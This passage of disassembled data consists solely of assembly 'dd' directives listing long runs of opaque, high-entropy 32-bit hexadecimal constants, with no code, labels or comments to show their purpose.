		dd 998DD3CEh, 8A0FD521h, 72C68E5h, 3B16643Eh, 0F06BA525h
		dd 9280FE97h, 82FDF2C2h, 4CC97C4Ch, 4A238961h, 21F7E768h
		dd 5B4BBCC1h, 90F9E951h, 7691925Ah, 0EA942485h,	4493EC28h
		dd 43D43CE7h, 0F3A74D3Eh, 0B121DCC7h, 0BBC46D0Dh, 34FD6F9Ah
		dd 25B5D607h, 0EA14D63Ch, 0CCB7CAC7h, 0EE386B86h, 1E510C3Ch
		dd 856137C1h, 9CD1EB01h, 3CE70BABh, 0CEC7C36h, 0EBF50A3Ch
		dd 0A15994D5h, 0D27D59AEh, 25AC5h, 8030BA20h, 0ED383249h
		dd 21C374F6h, 0C32BFC88h, 9D797505h, 0E1BF1963h, 7A44F91Dh
		dd 74AA8C81h, 2544F3C0h, 736806D2h, 31A89BC4h, 1AEF11D8h
		dd 707F0ECDh, 9EDCE634h, 0F2FD5CE1h, 7D08EAFCh,	2B8D5DC2h
		dd 11B9802h, 0E4106205h, 27C81FBh, 5E3DBFA5h, 340FBA31h
		dd 0DBFCA3BFh, 6D3533A4h, 0AAAC7191h, 0B81B783Dh, 0BBD510DBh
		dd 4382195Eh, 0B677E18Ah, 0BDB4F4DEh, 0AB21D8B8h, 0A4F7867Fh
		dd 0F8290246h, 0DEFE61C0h, 743CF4AAh, 3E663021h, 9F1B2C33h
		dd 12A63729h, 0F6F852A7h, 5A4068Dh, 0F56B87FDh,	41801F4h
		dd 4DB63B1Fh, 22001EA0h, 0F7AAA92Ch, 89E69FDFh,	77F7D1FFh
		dd 2C3D7100h, 6FE8E81Ah, 85A76016h, 30AB589Bh, 18D9601Bh
		dd 47E3C156h, 0E245A5F1h, 6F810BA1h, 897A36AEh,	1123D96Dh
		dd 96788AF4h, 0DFF2AB0h, 0F114075Fh, 38F42277h,	0DCBC23C4h
		dd 36F17077h, 9DFAF4F7h, 3125A088h, 4667C325h, 21FC6A36h
		dd 0C4114E91h, 0CC657BECh, 7E5962E6h, 7DDE526Bh, 0F31DF751h
		dd 7A0C03D3h, 676841D7h, 0CA8E4216h, 656E4071h,	0A444CE61h
		dd 4BE02FBDh, 0F2E28DAh, 5F1DB237h, 19EDD281h, 0D1DFB41Dh
		dd 5732213Fh, 3AC945B2h, 6EB68F17h, 0DD31C818h,	619A9BB5h
		dd 0A4540818h, 3C11D4DAh, 31DAD0AEh, 4232A70Eh,	245D94CDh
		dd 0C2E973D1h, 6F5FBDA9h, 54F3B2E6h, 0D02EB09Bh, 1D739770h
		dd 541EC68h, 0B22FFD9Dh, 0BA623E1Dh, 865A450Bh,	0FE24464Bh
		dd 0FB1D5604h, 15ADF94Eh, 4577895h, 0E3C8904Ch,	0BA032738h
		dd 2F8B856Bh, 0EB5234D7h, 0BFB7808Eh, 48C1A0E3h, 64102F12h
		dd 0F94DF506h, 0F1402C5h, 0CE36B003h, 5FC69095h, 80668A08h
		dd 37F31564h, 9F7C6F91h, 0CE8FA60Dh, 0AE90817Ch, 0E09A4C7Bh
		dd 0E71AFB36h, 0D5B2EFA3h, 7513246Bh, 7AF1FAC5h, 0C861C68h
		dd 68B83CE0h, 55BEECA0h, 0AB446C57h, 0E8007495h, 8335DFD1h
		dd 0F3B692E4h, 2C5B821h, 0AAB5FDEFh, 0B8C806CAh, 332B605Ah
		dd 0CC9829A7h, 0B0AABD18h, 33F824ABh, 0C016585Ah, 0D34D5155h
		dd 0E2DE0E8Dh, 43753B39h, 0E094190h, 3BFF0CA8h,	0F6F92A86h
		dd 8026AE8Bh, 7EC9933Eh, 756BB17Fh, 0B0A0EBF5h,	0B98384F5h
		dd 0B812C340h, 0C43A11C4h, 0FA43443Ch, 1C82E4AFh, 0A0C0CF19h
		dd 4E67C4F3h, 0CB5E5906h, 3B148196h, 3156E813h,	5270ABA1h
		dd 0FEB727EFh, 0FA47B7C6h, 38D12D12h, 8C047087h, 65F4ED0Dh
		dd 397D3DC5h, 0B353AC57h, 0EF51CDBEh, 0BA24B883h, 28C102BAh
		dd 6EA22B6h, 0B7C99FC9h, 145DCECCh, 7373BEC5h, 0A9827780h
		dd 7B27C05Fh, 0E856C5D1h, 0D626812Bh, 595B31C8h, 0AFC73FD3h
		dd 2B5F496Bh, 0FE336827h, 469CB1DDh, 1BC921C0h,	0ED0521FDh
		dd 609ABB26h, 3B09C147h, 538CA31Ah, 58DCF804h, 0C0CACB62h
		dd 480F0BA5h, 1B94B410h, 0DDEBFAB6h, 8A1BB27h, 64219C2Fh
		dd 6E8512C8h, 0FD7CC7C9h, 0F1862ECBh, 0F08561FFh, 0D415DF17h
		dd 50C49B6h, 6C372646h,	88710B75h, 84397106h, 55805D22h
		dd 0A0362741h, 0BFCB0BA2h, 8A061BDAh, 70509604h, 0D5FBF8h
		dd 205BDBA7h, 269D30F6h, 539BE6ECh, 34B34E27h, 0D4B0210Bh
		dd 0A4747297h, 87106167h, 0D46BB322h, 0EB1BFB5Dh, 611A7C2Ch
		dd 0E7DD691Ah, 0E38623D9h, 0ADCB6FC5h, 4621F90h, 67E063F3h
		dd 714C6460h, 0CD48B69h, 0DA1B32B9h, 1942D58Eh,	0EAD54DABh
		dd 6C671235h, 0FBE226B6h, 3B0347EBh, 9401B355h,	268C89FFh
		dd 0AC538BBAh, 40957D26h, 8741129Bh, 89495EEh, 0CA72ECC2h
		dd 43C3BF80h, 0C6B4A806h, 4C143724h, 0C6193B1Ah, 8AF7C314h
		dd 77A848FFh, 0C882F772h, 8AD701DDh, 8F663202h,	0B0D416ACh
		dd 95B6EE2Bh, 7A31755Eh, 3074DBBCh, 0F7D76497h,	0A42D38EDh
		dd 6DF01FFFh, 0EAEA9B29h, 0B1575EABh, 12409FCDh, 5B4B450Ch
		dd 891D11Eh, 0DCB1A4BFh, 0AEC544D8h, 12D3FDA3h,	6DD3149Bh
		dd 37CCF505h, 95D7B097h, 5140AA76h, 3EF291D7h, 0DC3A9BA2h
		dd 60A5CD26h, 926EA2B8h, 3F90A867h, 686F015Eh, 4A46844Fh
		dd 45538F31h, 0F120B37Bh, 0F68A7574h, 0A8A1F840h, 6DE454BEh
		dd 0A93C6DD2h, 0E03DCE57h, 53DE5D3Bh, 0C99FB430h, 105C6790h
		dd 49E1A7A9h, 0DAD461F1h, 228CA14Dh, 27BB6A0Dh,	15AF07F6h
		dd 57DB1DC6h, 716E966h,	7025F3F2h, 5360FFBh, 43A156DBh
		dd 655DA9B9h, 0AB977899h, 335C4D0Bh, 0F8ED5E3Ah, 0B1703C44h
		dd 81D42DCFh, 67E40B1Dh, 97E28DC7h, 54501812h, 6154A9D5h
		dd 7BA88B8Dh, 0DADE729Dh, 0EB9F295h, 0E4E88EEBh, 384AC426h
		dd 0FA26D74Dh, 0EAECEB2h, 784AB1A9h, 0AA0B85E3h, 791E7848h
		dd 0CF97BBDFh, 6C61F769h, 0C4A5D68Fh, 0CE2F02A6h, 205DCAAAh
		dd 39F53AD2h, 25BE14D4h, 27006F7Ch, 430F6DEFh, 50150C57h
		dd 0D846FD54h, 0F58D9042h, 5075CACEh, 93C0FB25h, 0F60F2C39h
		dd 0C77D1B14h, 955C591Bh, 41A2FC3Ch, 0F9552D54h, 4E091BE0h
		dd 2828852Fh, 543360D2h, 0F9E9251Bh, 70747611h,	0AE64CFD6h
		dd 0CD66CCF2h, 0C341DB42h, 6EBBCE2Dh, 0AAACC999h, 0E9C94A36h
		dd 1064155Ah, 95F6FAD7h, 7C837BA8h, 6C3413BBh, 0A491350Fh
		dd 1765D7AEh, 528255C3h, 7E872B38h, 7D0DD8B3h, 7732B559h
		dd 66AE036Fh, 20A3A507h, 151C49Dh, 73C92F5Fh, 0CF5683F1h
		dd 0D5CEC64h, 67B05009h, 0C43BB014h, 75DEF20Eh,	0D9566D50h
		dd 7AAA3DB3h, 0A480DA6Bh, 0F63F24CEh, 41590019h, 483DFBCBh
		dd 2B53D138h, 1E3D9C74h, 0A5483F22h, 5D27882Fh,	19D46F1Bh
		dd 16E7336Fh, 3C769373h, 297CAA2Eh, 0C9FFF2ACh,	553EEE9Dh
		dd 89801516h, 64C845AAh, 82191B25h, 32653859h, 4BE7352Eh
		dd 0CB3C9EB2h, 0E216E8E4h, 333AE8A7h, 86C53525h, 8E84ECC6h
		dd 7462AE18h, 96380837h, 1A9FBE58h, 1155191Dh, 0C9FBC32h
		dd 0B1B33862h, 5E2F42ECh, 0FB08F763h, 43F38A18h, 0E383A6CBh
		dd 10C89DDh, 0FB27381Fh, 0D5E51D9h, 62E3FFB8h, 0B70743F6h
		dd 0B0FC5492h, 9D2CD20Ch, 951C4F16h, 1E07E639h,	9E2ABFA0h
		dd 24E2355Ch, 3DF028BBh, 992D2FBAh, 3DD4D1Ah, 6AF593B3h
		dd 0E5184E7Ah, 8716EB96h, 0ECA736ADh, 90E77837h, 55C2BCDEh
		dd 3C47E3F8h, 0F18E1365h, 0B9037855h, 17EF4F7h,	0C8BBE551h
		dd 0DC9E62A5h, 241D5178h, 0DB7BC997h, 58CDF300h, 147552E3h
		dd 0D5A0FAFh, 25A0FCB1h, 0B9F7707Dh, 0CFBE7696h, 112C76FEh
		dd 2861E20Dh, 0CF5B2AF8h, 8AC666E9h, 0C9D2A17Ah, 0BB60DE13h
		dd 30A079E1h, 0E64EE76Dh, 741A1910h, 0E6E4EBA0h, 8DFA37C5h
		dd 0AC62C9A1h, 0B601F6B5h, 0C9A2946Eh, 636CF562h, 0C2D49798h
		dd 89F05270h, 7AFF0740h, 5C5065DEh, 0A5CC0E13h,	440C450Dh
		dd 954094B1h, 7ADEE2C5h, 0FA0797B4h, 2D9D1941h,	2DC44043h
		dd 0EBBFC8F4h, 30980B62h
		dd 59028A1Bh, 0D27E7741h, 0B0704512h, 17B758E4h, 66AF9B9Bh
		dd 7466AB45h, 0BAD1D411h, 25EC353Ch, 59319438h,	0A890E82Ah
		dd 0EFE4CA0Eh, 0BAF7D878h, 0EB3AF7DCh, 85A0AE34h, 13774ADBh
		dd 5369206Eh, 0AE5B2346h, 730097A2h, 465AD862h,	0D767BA2Fh
		dd 0D3984DC6h, 0A994D2B0h, 0C4199F8Ah, 0F6CEEA8Eh, 9C0C24C2h
		dd 58A465E4h, 0E991D0F0h, 0E2C9673Fh, 0E7739D61h, 42CFEB91h
		dd 60E8172Ah, 0C23A5223h, 0F871B547h, 39736A68h, 16D8DB32h
		dd 0B4FA12B3h, 0D2E37992h, 7441659Ch, 3E4477B3h, 6042A3CBh
		dd 6A77C1B8h, 7597F6C7h, 0FFD011EEh, 7D61CD54h,	7F9C6787h
		dd 1E6434C7h, 0FB45DA55h, 1EF5B83Bh, 0A3F0EC0Ah, 866B1D30h
		dd 58C82DAAh, 3FC048EBh, 9B3FA42Bh, 9DD0A142h, 53819F1h
		dd 42474EB2h, 0FF5E371Ah, 97149FEBh, 444951CEh,	0AB0ED3E1h
		dd 532EA7F2h, 1FACF00Eh, 56F56C16h, 0A3BD8F6Ch,	0BA74238Eh
		dd 4C1F84C6h, 4B7C06F3h, 1A0D1E68h, 0C8039CAEh,	90C32ECFh
		dd 65CFF4B1h, 0B8022010h, 79112C90h, 1AB48BABh,	5AFF2C64h
		dd 2F0B9600h, 3FF3A06Eh, 0A4F919E0h, 0E1736209h, 1D8E72B7h
		dd 86423A01h, 9C9F4398h, 0A8D2D65Bh, 0ECC993D7h, 88B787FAh
		dd 9EE5709Ch, 0E4E7EF2Bh, 0F82FE4C5h, 5A40AFDEh, 0C647C3D0h
		dd 42355F1Dh, 60D4996h,	0D839283Fh, 0D520EBD3h,	0EBDF7B2h
		dd 0C3380AA4h, 0F3E789E7h, 2DA5CD8Bh, 563AAA33h, 0D08E261Eh
		dd 0C775713h, 401ED85Ch, 1148CC74h, 0B669D79Ch,	0F7FAED10h
		dd 0CD71B99Ah, 3EF4B543h, 7B413438h, 5EA459CCh,	0E8C63E4Ch
		dd 33B11EEh, 0DA236292h, 1795F12Eh, 3A2983F9h, 0D9A0D55Fh
		dd 95E22AE8h, 501AFE22h, 0C8C982FBh, 0EA92F3C3h, 0FDB3AB56h
		dd 0B5F9019Ch, 0F9F02F00h, 227E0E3Eh, 4532C130h, 0E81C5661h
		dd 1A8B5A76h, 78D2EFBAh, 8BB5BAA4h, 4EBF80F1h, 0DD40504Ah
		dd 0B0E4980Fh, 14687BACh, 1DA9F517h, 33769CECh,	0D1031AE0h
		dd 4E64453Ch, 6DFB6B1Fh, 11C8EB4Bh, 0DB7F07Ah, 0DA213297h
		dd 0CAA29388h, 0CE6C0B6Fh, 0B3BB0DD2h, 335DCB78h, 0BFF43075h
		dd 73EE439Bh, 0E34F1ED4h, 11749EF9h, 98B1D935h,	0D99DF741h
		dd 0FEB97C48h, 0E74FF102h, 0E3EEF97h, 301C350h,	7C96CCB7h
		dd 5B505DFEh, 275D10A3h, 0FF3AE8E0h, 94443301h,	0E5E641F0h
		dd 0CAC6FD36h, 0A46CD93Ah, 35FB2B3Bh, 19461052h, 0C90DAB79h
		dd 4EAE7BCFh, 295E20FDh, 3A7DBDBAh, 690D6987h, 97152F47h
		dd 0CE59894Bh, 9523CD2Ch, 83032DA7h, 0BB585F23h, 0DED9E262h
		dd 7CEA3CE1h, 0CF35CAB2h, 5B927AF4h, 0B32BA243h, 3E79F579h
		dd 812DDFD3h, 1E723BB1h, 0C86A9F7Eh, 7BD37901h,	35B12A8Dh
		dd 619F346Bh, 77BE431Ch, 95110DFDh, 0C612B34Eh,	24040B0Ah
		dd 0DC729879h, 9B7A8195h, 2ABDF6CAh, 0B9F71BBEh, 0A068DEB7h
		dd 98BCAD28h, 0B606D03h, 5C4A74CEh, 0CB226077h,	0DCAF8EE0h
		dd 891A2490h, 9F85811h,	70CB97Ch, 0E9FF171Dh, 9905CAE2h
		dd 0A50FE7FAh, 24A83030h, 0B6D54DB1h, 0C251D50Fh, 0F7BE8B3Ah
		dd 5DB0D0AFh, 0CD681ED6h, 0BAF47DA5h, 0D9B6FDF8h, 56BD4D0Fh
		dd 40CB1B63h, 5B122B3Ch, 0B6BF1938h, 0DAB5B417h, 227DE9Eh
		dd 792DF2F7h, 8C27557Eh, 77BCEAE8h, 2A20BF37h, 9159B22Eh
		dd 633817Fh, 8C6CE528h,	0ECC7E622h, 1E08E2A6h, 0BC06B51Eh
		dd 15853CA0h, 0DD1D9A86h, 2D69B4BFh, 0D130A07Fh, 772CBBDCh
		dd 0BFFADC4h, 0E1EA5986h, 6D7E0739h, 8682690Dh,	5E5EA82Fh
		dd 37119E9Eh, 0B7AB7085h, 8C223310h, 1C0F316Ch,	2B5DD9F6h
		dd 0A9899CECh, 0FDC571BBh, 17F6E8CFh, 98195EB3h, 0FD824C8Bh
		dd 8B6A0050h, 0C6807CF8h, 0ACC8DF64h, 43CC4C6Fh, 0A480D3D6h
		dd 0C04098BFh, 67674D39h, 9C101B5Bh, 0C9486C09h, 0DFE93B31h
		dd 621161A1h, 4659E529h, 0A4ECEE8Bh, 977EFDF0h,	355E7B0Fh
		dd 5BF98B35h, 9BA10906h, 7CA0EE55h, 0FFC5760Ah,	8DAE5F81h
		dd 0B6CFC8B4h, 0CF463B1Dh, 0DB4C211h, 3B10EE7Ah, 0FEDC23C5h
		dd 495BD6AEh, 0F1220F1Eh, 71F460D9h, 0F77725E7h, 0F935F809h
		dd 0CE4AF639h, 358B2635h, 85EBD34Dh, 0FACCD518h, 0F9A2EEDEh
		dd 0A2B4348Dh, 4D1826B1h, 1C6A8471h, 0BDBA32E6h, 6488EF0Dh
		dd 0B70F0250h, 766ED95Bh, 0CA3AD458h, 67B1073Ah, 9F6148Bh
		dd 0DBFEED06h, 0D27802BDh, 0DBE7FEA9h, 494F3AA6h, 4E4BF79Fh
		dd 0ABE50E0Ch, 11ACF684h, 0A1B8093Dh, 3D3A1182h, 1C1FCE88h
		dd 9F1399A0h, 0E81A7A46h, 9C61058Eh, 0EB992676h, 0B19A805h
		dd 0D94895E3h, 77E3A83Ch, 6416A85h, 7EB14A45h, 0E8019C0Eh
		dd 0FCF8D56h, 954BA138h, 0E66F820Eh, 56C42D64h,	0C1B0385Fh
		dd 0B9380C44h, 0EDB9BF86h, 4F228EA9h, 0A8799792h, 144C4FCh
		dd 3CA975EAh, 9859203Ch, 5DB6E664h, 0A448F3E3h,	0C22EEB23h
		dd 0AD74D7DFh, 391BE0BFh, 0AD5E3719h, 94C4D720h, 0AD21570Fh
		dd 522424C2h, 88A8A0Fh,	9E929C38h, 0AAE488Ah, 0C2E1AC2Bh
		dd 0AA9E4317h, 0E4CCC2F1h, 0E7D17C0Fh, 247A76B5h, 0B7255709h
		dd 0C7679A4Ah, 46DDC3A4h, 2AC8BF45h, 1039F69Ah,	0D39040D5h
		dd 0C7D5A1DAh, 8B969B53h, 0ECB70E9h, 9A4C8D2Dh,	5E9EBD0Dh
		dd 555ED7E4h, 90BBE009h, 50749550h, 6DB2E7CBh, 9C533627h
		dd 0DA55FCC9h, 1EB19698h, 42686222h, 70111661h,	0D755F911h
		dd 31D3670Eh, 1ECFF27Dh, 3678FA60h, 38FDEBDAh, 0AB8B1C09h
		dd 137DC0F6h, 2914F401h, 0BF143BB7h, 0B0653CF0h, 9700219Fh
		dd 8AAF65EAh, 0BD3894AEh, 7F1A8CF2h, 0EA8BFF65h, 0FF2ECCF6h
		dd 55E62E4Ch, 1EFB0C30h, 6C821AA0h, 0C9899ED7h,	8F40D84Fh
		dd 0E72D9ADCh, 9F94851Ch, 5C6C40FCh, 45118F19h,	3EEA6DF0h
		dd 0C67B5619h, 548F126Eh, 0EFF80748h, 0A760649Fh, 39775CF4h
		dd 0C351ABA6h, 4723C30Eh, 0A5FE8E75h, 77DE1025h, 0FFA853h
		dd 0A98FEEEDh, 0A877FA6Bh, 4AAA4DBDh, 6D8D8870h, 3F171109h
		dd 0EB6C507Dh, 0E461AD24h, 0BE32E270h, 0B15B9FE9h, 91B28F9h
		dd 0EBF4AB6Ah, 0D18E8D8Fh, 18C87625h, 0A430CE53h, 21F5BFECh
		dd 43C0F862h, 77836FEBh, 459DFED3h, 54B94B38h, 6EE59E1h
		dd 5FF58858h, 4DC9D571h, 6CF1A678h, 8E6EFE8Bh, 1F54B282h
		dd 0CE733190h, 45633B5Fh, 4948CD12h, 4AE4731Ah,	0CB4C756Fh
		dd 6857138Fh, 2409B5D1h, 1289381Dh, 0C6F6D557h,	0A053DF5Ah
		dd 0BA885B29h, 2AB69FB4h, 998154ACh, 1B9A14D9h,	96CB8495h
		dd 0FCE63725h, 4B8CBDF3h, 46ACD8D4h, 5F6E11FCh,	0DABC9107h
		dd 6AAD9A72h, 0CD8ADE92h, 40027EC0h, 0B5B11E23h, 664FAF01h
		dd 882B33AEh, 150A673Eh, 0F5D47D5Ch, 0C2BE8506h, 912F925Eh
		dd 27248440h, 0B0E74EB9h, 0F5110671h, 5812F6ACh, 0B7EBC516h
		dd 0F6EA0A48h, 0DDE33278h, 0E237E007h, 852AB120h, 0DFE6C3F1h
		dd 0CC5B6519h, 51BF9C71h, 7416D126h, 4CEE0943h,	2DC77E96h
		dd 0DCA88C20h, 0E77F3505h, 2D32ED9Eh, 0D43AF01Ch, 92A1C6ACh
		dd 47B582BAh, 0F9C7E21Eh, 2461CA31h, 0C4568815h, 0D9419BEh
		dd 3C6AD67Eh, 0EC02508h, 0A97612A5h, 3D439AC5h,	0D9FEEB9h
		dd 0FE05A505h, 16E91081h, 78F8B21Dh, 8BA3CBCCh,	64FDD738h
		dd 0AB9D450Dh, 0FE4E0CF0h, 1F9DEEBFh, 0A7A1E999h, 0C33E4DBh
		dd 0B801C4AFh, 0CB608B58h, 258E63A2h, 0AA95899h, 2D2FFE5Ah
		dd 0A87E80EAh, 0F889DAE0h, 0FFA0A77Fh, 406E4213h, 29B0E817h
		dd 0F73304E3h, 2BA69268h, 0B448B5FAh, 8A8FA8D0h, 0DDB1C0AFh
		dd 2170EB46h, 0CC5ED3E5h
		dd 0B87AE6BBh, 49CEACCEh, 0A3669214h, 11532430h, 43F81338h
		dd 20179F86h, 0B7555C87h, 934A04Dh, 7DBBC57Bh, 7C24F07Eh
		dd 96B847B5h, 4331A70Fh, 0CD1B5CD4h, 0D6B0AE0h,	0DAFCF382h
		dd 20DDB7BDh, 35316F6Dh, 0F286C336h, 0C7CFA2B5h, 0F913EDD1h
		dd 0F340611Ah, 0B9C7B658h, 411B00A5h, 525212A9h, 0DCABE548h
		dd 0BB5242h, 0E1DFB8C4h, 4D383C1Eh, 3AA9685Eh, 3BEAFF95h
		dd 55C5F285h, 6A0CB6EAh, 0F23D9C7h, 9CD32EE6h, 1372CA15h
		dd 6A826075h, 15A69817h, 0F535844Bh, 83D7D081h,	4771B1AFh
		dd 7F5847A7h, 0C75B66C5h, 0B6A7CC4Fh, 8882A568h, 2F4FEBBDh
		dd 0E49566A0h, 7A4E6C20h, 235CAD1Fh, 0BC94E18Dh, 0E35D121Ch
		dd 66D96CCCh, 0DE342B07h, 0D99E1085h, 3D35EB5Eh, 0F9A112E8h
		dd 8771241h, 1513967Ch,	47370740h, 2215498h, 0C6C5FB8Dh
		dd 553B08C8h, 214BA297h, 25033139h, 0EF5E4CAEh,	0A2B9530Ch
		dd 0CBD03F48h, 0CB1B51DAh, 7DA971FAh, 0C96315B5h, 0DAB39CA4h
		dd 35719943h, 0F2C98A75h, 1C6B341Fh, 0F8BDDB42h, 2487C0FAh
		dd 0E76813F7h, 63F83E41h, 2D95885Ch, 0B4BBE03Ah, 0E11FF639h
		dd 6D056F93h, 559828EEh, 5ED0CDABh, 9DE48F90h, 74160F4h
		dd 0CF9BE837h, 0AAC9052Ch, 15C46479h, 2CBC5470h, 0B7A504F0h
		dd 397FE004h, 8EBC3D6Bh, 67A5078Bh, 0DD768C76h,	0FCF15D52h
		dd 0DD66A568h, 5EAB3A88h, 403948D2h, 1DF396D3h,	34487237h
		dd 0C4EEEA16h, 170136F9h, 2E0738CCh, 641A5A15h,	0DDC48E4h
		dd 0A354E6C8h, 1B52B5C9h, 6F6D9E1Ch, 45399850h,	2D9B0DF8h
		dd 197422FBh, 0E9BCE7B5h, 762E54DBh, 5FC64646h,	8DBA5EA8h
		dd 7EFB967h, 0E3A79673h, 241E272Eh, 98F82455h, 7AD9FAB0h
		dd 16E647CAh, 1F4F2293h, 0E3149B8Dh, 0ACAE2235h, 0CCE66EDFh
		dd 0E554FED4h, 0F4BC672Ah, 538B8E8Bh, 0D04F8B47h, 0F02C3038h
		dd 0ECA14C71h, 3C531B19h, 7F70D622h, 478BAAADh,	0C8F65F40h
		dd 0E6FB2D9h, 416EAD6Fh, 93BB603Eh, 0E6897607h,	16A5890Eh
		dd 0EEE7469Dh, 4A0A8CB1h, 0EBF9A3C9h, 39DEC21Dh, 0A030C3A1h
		dd 69B4B1C9h, 0C840A93h, 6FB03D33h, 4401F06Eh, 31911BA8h
		dd 0DFE91F3Fh, 0E4A3B722h, 4D5CB592h, 0DC218C4Bh, 0A3EC309Bh
		dd 0F149C83h, 6CD436AAh, 0FB485181h, 4CCF65BDh,	4E3AAB38h
		dd 0BEC49B89h, 6E4E88E8h, 4BEE2740h, 0FA485B2Dh, 612458C6h
		dd 0AD1A21E3h, 4E65D8A0h, 59CF4821h, 2AAEE03Fh,	0BE7EEADDh
		dd 0E7AED692h, 59F8997Dh, 0FBE44780h, 0EF39FCA9h, 4B4EE715h
		dd 55222260h, 0E58062BBh, 5D578875h, 75936C06h,	9DCFF1C3h
		dd 0CA3C2F67h, 0E46BB15Bh, 3748FE9Bh, 1D9D13CEh, 0B8C1A215h
		dd 0DB7A5B41h, 9D33EF5Ch, 52698C5Bh, 1E13396Ch,	9BAD5A6Fh
		dd 6A2E71FAh, 99C58BA5h, 28B01799h, 0FAB8D410h,	45C56C4Ah
		dd 9C4793C4h, 74936B40h, 0B2A96D3Eh, 0FF8C00BEh, 0EF800746h
		dd 99AD8A28h, 1FB39F7Bh, 0C76D49EDh, 980FCFD3h,	65E03DA4h
		dd 3202B556h, 9D6A0F6Ch, 5BB3C07Ah, 0D4F4C43Ch,	4C435AEDh
		dd 31B96BABh, 0F83FD420h, 88A325A1h, 0BF20AE7Bh, 33F377E6h
		dd 514DD6E8h, 6245B2D3h, 8474C221h, 4EB6C9A9h, 7C68C727h
		dd 6CD8EEDCh, 77E60005h, 6B09D7F3h, 857A037Dh, 0D6267C0Eh
		dd 1602B179h, 0D49179ACh, 57A45FDCh, 8D5534A0h,	0FB05FACEh
		dd 0BC32CB61h, 0C4B9D11Ah, 5FF81BF7h, 0BB8356B3h, 0E09DA366h
		dd 23A90B53h, 0CAFE07FBh, 8061E446h, 0EB8935BFh, 0BB8642E5h
		dd 869C459Eh, 4674DAE0h, 0B4D00B51h, 44575351h,	1653D097h
		dd 0F25418A3h, 59E28BA7h, 388CEACAh, 0E4F79D2Bh, 5DE64E53h
		dd 14B67A63h, 19132291h, 0DEF33027h, 0CC6D745Ah, 0A153CFE7h
		dd 78ECAB9Ch, 6686FFB8h, 0F4ED70E0h, 190F9FAEh,	4325525Fh
		dd 0B5EF33FAh, 0BD9873FFh, 94C38ED8h, 0F04E0ECh, 0E024DD5Eh
		dd 0CB547E79h, 0D13B0721h, 0CEAD7327h, 5967C571h, 0B95E956Dh
		dd 5DD664FEh, 7FE6339Ch, 41F894ADh, 0FE8BC2EDh,	1DE75EEAh
		dd 45F2ACFDh, 13D738BCh, 124B6B8Dh, 647F787Fh, 0CB6E715Ch
		dd 0C70359FCh, 0FB97990Ah, 18BCD2D1h, 2125EB1h,	9488459Fh
		dd 835F8730h, 57C14D65h, 37EB5911h, 95C457C9h, 7DEE36F6h
		dd 794135B4h, 0E1074A04h, 0A25D7352h, 0B298F102h, 3240A5CCh
		dd 1F796228h, 0DAD7835Eh, 0F2CB89BAh, 483C8A5Bh, 4B7E66ABh
		dd 7EDCCFAEh, 0C41DD23Bh, 0B08DB2A1h, 55901D38h, 14D10E2h
		dd 0C1BBB81Ch, 85F46284h, 0F2EE9F16h, 0C13A019Bh, 6FE743CEh
		dd 0F60969F2h, 42A0C6A8h, 846E04FAh, 9A1F4EE2h,	0A277F5ADh
		dd 51D171C9h, 244EA766h, 0BEBDC5E3h, 77FF41B3h,	47627E9Dh
		dd 0B8672E21h, 0DA6B8D26h, 0D711781Eh, 0C072B01Ah, 4F251580h
		dd 5591EF80h, 0D5B8F233h, 32967EC6h, 0E0E40930h, 0B7D589FCh
		dd 0C47FF790h, 4032930h, 135A0BB0h, 9B53B54Ch, 9125D211h
		dd 3B764417h, 614D43E0h, 0FE8E170Fh, 633D7B0Ch,	0D0D2846Ah
		dd 0C51F94B9h, 9E073A3Bh, 0C136BB27h, 882CAAEDh, 8101BD11h
		dd 651A1C08h, 0AF3D2DC2h, 0AFDBE6F4h, 86ECC290h, 32DA8B6Fh
		dd 1E4D957Dh, 0B2A4F2F0h, 0DE3A2808h, 0AE68003Fh, 211BF3B5h
		dd 76C32801h, 1FB9BC37h, 0F9A88B61h, 0EBBD6D61h, 0B6B70F84h
		dd 9A19A923h, 0B02EF5A9h, 0DF7D0DE6h, 0A14B26E0h, 90CFB7Ah
		dd 0F565369Fh, 7423F7D3h, 713F4CBh, 608793EFh, 8AD4561Ah
		dd 7514569Bh, 0AB936A1Dh, 30987176h, 0F3532D75h, 5A23BE7Eh
		dd 0D739F753h, 3CC0834Eh, 0AD08EEB5h, 0A584F1CEh, 745E9882h
		dd 3AABFA81h, 0A17ACD2Dh, 41903D2Ah, 1A2A5D5Ch,	92D932A3h
		dd 7AD796C5h, 0AC56CA64h, 57500E69h, 0EA01ECD5h, 0F197685Bh
		dd 70031410h, 4B5AA677h, 4FCC8E41h, 0E79F5465h,	59269A71h
		dd 3AF184A6h, 0EFA54665h, 46F24B24h, 2BA7B62h, 8EA3B781h
		dd 25AB7E83h, 980E6728h, 0A21A2176h, 5777CB67h,	38757892h
		dd 0D4A2BE2Ah, 8E529160h, 0B107D747h, 0E9667C24h, 21A2201Ch
		dd 9EB803D4h, 6E761A19h, 80607DEAh, 0E0B7B708h,	13104A4Eh
		dd 0ED719CFAh, 1E5BFB59h, 0DE045941h, 0BBECF2E7h, 0AB7F42h
		dd 0BA0135B8h, 9D821931h, 61D8B6CEh, 0C1F63E38h, 0B8322F99h
		dd 8B79D662h, 0DE6E328Dh, 0C5AE1B84h, 17D63E34h, 7DCEF94Fh
		dd 0FF673F42h, 301FDC1Fh, 3C2B22F7h, 461669FBh,	3D92CD12h
		dd 6F893292h, 147E4D94h, 0A39B13CCh, 0E76700F9h, 0FC0555C4h
		dd 33713E6Dh, 80FDDD93h, 78921217h, 0E17B17C2h,	3B4B994h
		dd 2B6757E4h, 352F0E3h,	8D9E8333h, 318A3656h, 0DB37D04h
		dd 5CEA0169h, 0C6A0E90Eh, 407FC2D5h, 9FC67465h,	0B11727DFh
		dd 40E7137Eh, 0D748D6F4h, 84970927h, 0FCD90E3Dh, 0A3EF771Bh
		dd 18C78B6Ah, 723B2E03h, 0DF2F3D21h, 9147EDCBh,	99D4FF1Eh
		dd 0F719FD9Fh, 0CAF3AECAh, 0B0032723h, 0F74553B5h, 0CFBDC82Dh
		dd 49CF8EEDh, 6E84C94Fh, 0CBF1A1E7h, 2D2B5759h,	8DC62F16h
		dd 7B9A567Ah, 2A61CF87h, 0D8714E0Fh, 0D3A3565Fh, 0AD81754Eh
		dd 0D66DB04Dh, 0A6F6D2AEh, 0A4A600DBh, 0F0E50B82h, 6ECF6A65h
		dd 5FD7ECE6h, 0A2607EA8h, 6DC3CA9Fh, 191D22BDh,	0FD342A98h
		dd 1557E3DCh, 25711AF8h, 55C69202h, 25017E94h, 2C4DAD1Ch
		dd 1FA66D57h, 2A062D0Fh, 53E37E12h, 9E1F9526h, 0AC0C84F7h
